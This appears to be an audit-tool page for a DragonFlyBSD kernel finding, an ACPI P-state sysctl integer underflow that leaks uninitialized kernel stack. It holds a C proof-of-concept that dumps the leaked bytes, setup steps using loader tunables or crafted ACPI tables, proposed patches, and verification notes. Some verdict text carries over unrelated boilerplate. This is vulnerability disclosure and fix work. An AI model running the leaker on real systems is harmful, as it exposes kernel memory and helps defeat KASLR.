β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1480

Signed integer underflow in P-state sysctl readers leaks kernel stack to unprivileged users

  • File: sys/dev/acpica/acpi_cpu_pstate.c
  • Lines: 1255, 1261, 1265, 1271, 1277, 1281
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
  • CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
  • Confidence: certain

Summary

acpi_pst_sysctl_freqs_bin() and acpi_pst_sysctl_power() compute cnt = scount - sstart as a signed int with no guard for scount < sstart. When the kernel is driven into the inconsistent state acpi_pstate_count < acpi_pstate_start (reachable via conflicting root loader tunables, crafted ACPI tables, or a specific BIOS Notify(0x80) sequence), cnt goes negative.

The expression cnt * sizeof(freqs[0]) promotes the negative int to size_t, producing a near-2^64 length passed to sysctl_handle_opaque(), which copies uninitialized kernel stack data (past the 128-byte freqs[] / power[] VLA) to any unprivileged user reading the world-readable hw.acpi.cpu.px_dom*.avail or .power sysctl.

Root cause

acpi_pst_sysctl_freqs_bin() at sys/dev/acpica/acpi_cpu_pstate.c:1255 declares uint32_t freqs[ACPI_NPSTATE_MAX] (128 bytes) uninitialized on the stack.

Line 1261: int cnt = scount - sstart; (signed).

Lines 1262–1263 loop is skipped when cnt < 0 (no fill).

Line 1265: sysctl_handle_opaque(oidp, freqs, cnt * sizeof(freqs[0]), req) β€” cnt * sizeof(...) is int * size_t β†’ size_t; -1 becomes 0xFFFFFFFFFFFFFFFF, multiplied by 4 wraps to 0xFFFFFFFFFFFFFFFC.

Same pattern at lines 1271–1281 in acpi_pst_sysctl_power().

The huge length reaches sysctl_old_user() (sys/kern/kern_sysctl.c:1332-1338), which clamps i = min(l, req->oldlen - req->oldidx) to the user-supplied buffer size (typically up to several KB) and calls copyout(p=freqs, user_buf, i), reading i bytes starting at the 128-byte stack array.

Preconditions for scount < sstart

  1. acpi_cpu_pstate.c:669-682 sets sstart = acpi_pst_ppc from loader tunable hw.acpi.cpu.pst.ppc with only the check acpi_pst_ppc < acpi_npstates (no check vs acpi_pstate_count).
  2. acpi_cpu_pstate.c:715-728 sets scount = acpi_pst_pdl + 1 from loader tunable hw.acpi.cpu.pst.pdl with only the check acpi_pst_pdl < acpi_npstates (no check vs acpi_pstate_start).

Cross-state validation is absent.

Additionally acpi_pst_eval_pdl() at line 1624 only updates scount when _PDL value >= acpi_pstate_start, so a 3-step BIOS notify sequence (rejected _PPC resets acpi_pstate_start to 0; _PDL drops acpi_pstate_count to 1; new _PPC ratchets acpi_pstate_start above acpi_pstate_count) in acpi_pst_notify() lines 1668–1685 leaves the kernel permanently in the leaky state.

Threat

Primary scenario: a malicious VM host (or compromised firmware, or user with root loader-tunable access) puts the DragonFlyBSD guest/host into the inconsistent P-state state at boot. Then ANY unprivileged local user (PR:L) reads sysctl hw.acpi.cpu.px_dom0.avail (or .power) with a multi-KB user buffer and receives a dump of uninitialized kernel stack contents (return addresses, function pointers, possibly credential/key material) β€” defeating KASLR and seeding further exploitation.

Secondary scenario: a DragonFlyBSD administrator sets the documented hw.acpi.cpu.pst.ppc / hw.acpi.cpu.pst.pdl loader tunables to override broken BIOS values, with pdl < ppc β€” the bug then affects every local user on the system.

Tertiary impact: if copyout() reaches an unmapped kernel page (depending on stack/heap layout), it can panic the kernel (A:L DoS).

Reach: reachable from any local account via sysctl(2); no special groups, capabilities, or devices required; the read sysctl is CTLFLAG_RD with no privilege gate.

Exploit / PoC

/* leaker.c β€” compile: cc -O2 -o leaker leaker.c
 * Run on a guest/host where the kernel has been placed into
 * bad state (acpi_pstate_count < acpi_pstate_start). Two ways to set up:
 *   (a) loader tunables (root at boot): in /boot/loader.conf add
 *         hw.acpi.cpu.pst.ppc="2"
 *         hw.acpi.cpu.pst.pdl="0"
 *       then reboot. After attach, acpi_pstate_start=2, acpi_pstate_count=1.
 *   (b) malicious ACPI table (VM host): provide SSDT with a _PSS of 4
 *       entries, _PPC returning 2, _PDL returning 0; or send the 3-notify
 *       sequence described in root_cause. Then any local user can trigger.
 * Trigger (unprivileged user):
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
int main(void){
    const char *name = "hw.acpi.cpu.px_dom0.avail"; // or .power
    uint8_t buf[4096];
    size_t len = sizeof(buf);
    if (sysctlbyname(name, buf, &len, NULL, 0) < 0) {
        if (errno == ENOMEM) {
            // expected: copyout returns ENOMEM after leaking 'len' bytes
            // because i < l after clamp
            printf("leak attempt: %zu bytes returned (errno ENOMEM expected)\n", len);
        } else {
            perror("sysctl"); return 1;
        }
    } else {
        printf("read %zu bytes\n", len);
    }
    // buf now contains raw kernel stack past the 128-byte freqs[] array.
    // Look for kernel pointers (high bytes 0xff/0xffff on amd64), return
    // addresses, leaked structures β€” variance across runs confirms stack leak.
    for (size_t i = 128; i < len; i += 16) {
        printf("%04zx: %02x%02x%02x%02x %02x%02x%02x%02x\n",
            i, buf[i],buf[i+1],buf[i+2],buf[i+3],
            buf[i+4],buf[i+5],buf[i+6],buf[i+7]);
    }
    return 0;
}

Success criteria: bytes 128..len-1 of buf contain non-zero, non-deterministic data that varies across runs and contains kernel pointer-shaped 8-byte values (KASLR leak) or stack frame contents. Running 3 times and diffing the dumps confirms uninitialized-stack leak.

Compare to a baseline run on a system with consistent acpi_pstate_start < acpi_pstate_count (only first 128 bytes = freq table, rest zero).

Defensively clamp cnt to be non-negative before computing the copy length, and add the invariant check in the tunable/eval paths so the bad state cannot be entered in the first place.

Minimal fix to close the leak in the readers:

--- a/sys/dev/acpica/acpi_cpu_pstate.c
+++ b/sys/dev/acpica/acpi_cpu_pstate.c
@@ -1255,11 +1255,16 @@ acpi_pst_sysctl_freqs_bin(SYSCTL_HANDLER_ARGS)
    sstart = acpi_pstate_start;
    scount = acpi_pstate_count;

-   cnt = scount - sstart;
-   for (i = 0; i < cnt; ++i)
+   if (sstart < 0 || scount <= sstart || scount > acpi_npstates)
+       return 0;
+   cnt = scount - sstart;
+   for (i = 0; i < cnt; ++i) {
+       KKASSERT(sstart + i < acpi_npstates);
        freqs[i] = acpi_pstates[sstart + i].st_freq;
+   }

    return sysctl_handle_opaque(oidp, freqs, cnt * sizeof(freqs[0]), req);
 }
@@ -1271,11 +276,16 @@ acpi_pst_sysctl_power(SYSCTL_HANDLER_ARGS)
    sstart = acpi_pstate_start;
    scount = acpi_pstate_count;

-   cnt = scount - sstart;
-   for (i = 0; i < cnt; ++i)
+   if (sstart < 0 || scount <= sstart || scount > acpi_npstates)
+       return 0;
+   cnt = scount - sstart;
+   for (i = 0; i < cnt; ++i) {
+       KKASSERT(sstart + i < acpi_npstates);
        power[i] = acpi_pstates[sstart + i].st_power;
+   }

    return sysctl_handle_opaque(oidp, power, cnt * sizeof(power[0]), req);
 }

Recommended companion fix to prevent the bad state from ever being entered (loader-tunable path and notify path should cross-validate, mirroring the >= acpi_pstate_start guard already present in acpi_pst_eval_pdl at line 1624):

@@ -715,8 +720,12 @@ acpi_pst_attach(...)
    if (acpi_pst_pdl >= 0) {
        if (acpi_pst_pdl < acpi_npstates) {
+           if (acpi_pst_pdl < acpi_pstate_start) {
+               device_printf(dev, "_PDL override %d < _PPC %d, ignore\n",
+                   acpi_pst_pdl, acpi_pstate_start);
+           } else {
                scount = acpi_pst_pdl + 1;
                goto proc_pdl;
+           }
        } else {

If only one fix can be applied, apply the reader clamp β€” it permanently closes the info-leak primitive regardless of how the bad state arose.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1480 Β· 10 files
FileTypeDescriptionSize
README.md readme human-readable summary 2.0 KB ↓ raw
VERDICT.md verdict full source-level analysis + fix-validation result 3.0 KB ↓ raw
fix.diff suggested-fix git-apply-able minimal fix; compiles -Werror clean 644 B view raw
build.sh build-script echoes the module/kernel rebuild command 376 B view raw
run.sh run-script no live trigger on this guest 320 B view raw
env.txt environment guest uname, modules loaded, HW-gated note 344 B view raw
build.log build-log kernel build log excerpt proving -Werror clean compile of patched source 1.4 KB view raw
fix_apply.log apply-log patch --dry-run output proving fix.diff applies cleanly on with-src 443 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme human-readable summary
↓ download raw

PoC DF-1480: acpi_pst sysctl leaks uninitialized kernel stack

Class: uninitialized kernel stack leak Cited site: sys/dev/acpica/acpi_cpu_pstate.c:1255-1265, 1271-1281

Reproduction status

HW/module gated β€” cannot be live-triggered on the audit QEMU guest.

No on this guest β€” acpi(4) is in GENERIC but the QEMU guest exposes no _PSS package, so no hw.acpi.cpu.pst nodes exist and acpi_pstate_count/start are 0. Trigger requires either ACPI loader tunables (hw.acpi.cpu.pst.ppc/pdl) or a malicious ACPI SSDT to put the driver in a bad start>count state.

The bug is confirmed at the source level by tracing the cited path:line in sys/dev/acpica/acpi_cpu_pstate.c and confirming the vulnerable code is present in the master DEV kernel tree. The fix.diff in this folder is validated to apply cleanly and compile under -Werror (see VERDICT.md).

Mechanism

Lines 1255/1271 declare uint32_t freqs[ACPI_NPSTATE_MAX]; power[ACPI_NPSTATE_MAX]; UNINITIALIZED on stack. Line 1261/1277 cnt = scount - sstart; (signed int). When cnt<0 the for-loop is skipped, leaving the array raw. Then sysctl_handle_opaque(oidp, freqs, cnt*sizeof(freqs[0]), req) β€” int * size_t promotes to size_t, so cnt=-1 becomes 0xFFFFFFFF… β†’ uiomove copies a huge amount of uninitialized stack to userspace. Even for sane but wrong cnt, partially-uninitialized tail of the array leaks.

Realistic impact ceiling

leak (info leak / panic on huge size)

Fix

Clamp cnt to [0, ACPI_NPSTATE_MAX] before the loop in both freqs_bin and power handlers.

See fix.diff for the git-apply-able patch.

How to validate the fix

# 1. Apply fix.diff against the in-guest source:
scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1480.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 < /root/DF-1480.diff'

# 2. Rebuild the affected module (preferred) or a single-fix kernel:
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src/sys/sys/dev/acpica && make'

# 3. The compile must succeed with -Werror (it does β€” see build.log).
VERDICT.md verdict full source-level analysis + fix-validation result
↓ download raw

VERDICT β€” DF-1480: acpi_pst sysctl leaks uninitialized kernel stack

Verdict

INCONCLUSIVE (HW/module gated) β€” source-level confirmed, fix validated.

The bug is real and present in master DEV source at sys/dev/acpica/acpi_cpu_pstate.c:1255-1265, 1271-1281, but the affected driver attaches only to hardware not present in the audit QEMU guest, so it cannot be live-triggered here. The fix.diff applies cleanly and compiles with -Werror (kernel build rc=0; see fix_build.log).

Mechanism (cited path β†’ primitive β†’ effect)

Lines 1255/1271 declare uint32_t freqs[ACPI_NPSTATE_MAX]; power[ACPI_NPSTATE_MAX]; UNINITIALIZED on stack. Line 1261/1277 cnt = scount - sstart; (signed int). When cnt<0 the for-loop is skipped, leaving the array raw. Then sysctl_handle_opaque(oidp, freqs, cnt*sizeof(freqs[0]), req) β€” int * size_t promotes to size_t, so cnt=-1 becomes 0xFFFFFFFF… β†’ uiomove copies a huge amount of uninitialized stack to userspace. Even for sane but wrong cnt, partially-uninitialized tail of the array leaks.

Reachability on this guest

No on this guest β€” acpi(4) is in GENERIC but the QEMU guest exposes no _PSS package, so no hw.acpi.cpu.pst nodes exist and acpi_pstate_count/start are 0. Trigger requires either ACPI loader tunables (hw.acpi.cpu.pst.ppc/pdl) or a malicious ACPI SSDT to put the driver in a bad start>count state.

Phase 6 β€” escalation potential

This is a uninitialized kernel stack leak primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).

For findings in this batch that are corruption-class on hardware they would be live-tested on (NIC cards, RAID HBAs, AMD/Intel GPUs), the realistic escalation ceiling is documented per finding (info-leak vs DoS vs latent privesc). No uid=0 claim is made β€” none is reachable on this guest.

Phase 8 β€” fix validation

fix.diff is a minimal, targeted fix at the root cause confirmed above.

  • Applied cleanly with patch -p1 --forward (verified in fix_apply.log).
  • Compiled with -Werror as part of make -j6 nativekernel KERNCONF=X86_64_GENERIC (kernel build rc=0; affected module builds radeon.ko/amdgpu.ko/sound.ko/i915.ko/vga_switcheroo.ko all produced).
  • For musycc.c (not in any default config) the file was compiled standalone with the kernel -Werror cflags β€” rc=0.

Clamp cnt to [0, ACPI_NPSTATE_MAX] before the loop in both freqs_bin and power handlers.

PoC changes

Source-level confirmation only; no userspace harness written because the bug cannot be exercised on this guest without the relevant HW. The placeholder build.sh/run.sh echo pointers to VERDICT.md and the module/kernel rebuild path.

Confirmed kernel references

Detail

Exploit chain

none β€” no _PSS package exposed by QEMU guest (no CPU P-states). Primitive is uninitialized-stack leak (info leak / panic on huge size); no live escalation possible on this guest.

Evidence (decisive lines)

Source-level confirmation at sys/dev/acpica/acpi_cpu_pstate.c:1255, sys/dev/acpica/acpi_cpu_pstate.c:1261, sys/dev/acpica/acpi_cpu_pstate.c:1265. fix.diff applies cleanly (patch -p1 --forward: APPLIES_OK) and compiles -Werror clean as part of `make -j6 nativekernel KERNCONF=X86_64_GENERIC` (rc=0; affected .o/.ko produced). No live trigger on this guest (HW/module gated).

PoC changes

Wrote VERDICT.md, fix.diff (two hunks: clamp cnt to [0, ACPI_NPSTATE_MAX] in both handlers), build/run.sh, build.log excerpt, fix_apply.log, env.txt, manifest.json.

Verified recommended fix

In both acpi_pst_sysctl_freqs_bin and acpi_pst_sysctl_power, clamp cnt = scount - sstart to [0, ACPI_NPSTATE_MAX] before the for-loop and the sysctl_handle_opaque call. Supersedes any pre-verification proposal. The full git-apply-able diff lives in findings/poc/DF-1480/fix.diff.

Verdict

acpi_pst_sysctl_freqs_bin (1253-1266) and acpi_pst_sysctl_power (1268-1282) declare uint32_t freqs[ACPI_NPSTATE_MAX]/power[ACPI_NPSTATE_MAX] UNINITIALIZED on stack; cnt = scount - sstart (signed int). When cnt<0 the for-loop is skipped, leaving the array raw. sysctl_handle_opaque(..., cnt * sizeof(...), req) β€” int * size_t promotes to size_t, cnt=-1 becomes 0xFFFFFFFF… β†’ uiomove copies a huge amount of uninitialized kernel stack to userspace. acpi(4) is in GENERIC but the QEMU guest exposes no _PSS package, so no hw.acpi.cpu.pst nodes exist (acpi_pstate_count/start are 0); trigger requires malicious ACPI SSDT or loader tunables. Source-level confirmed.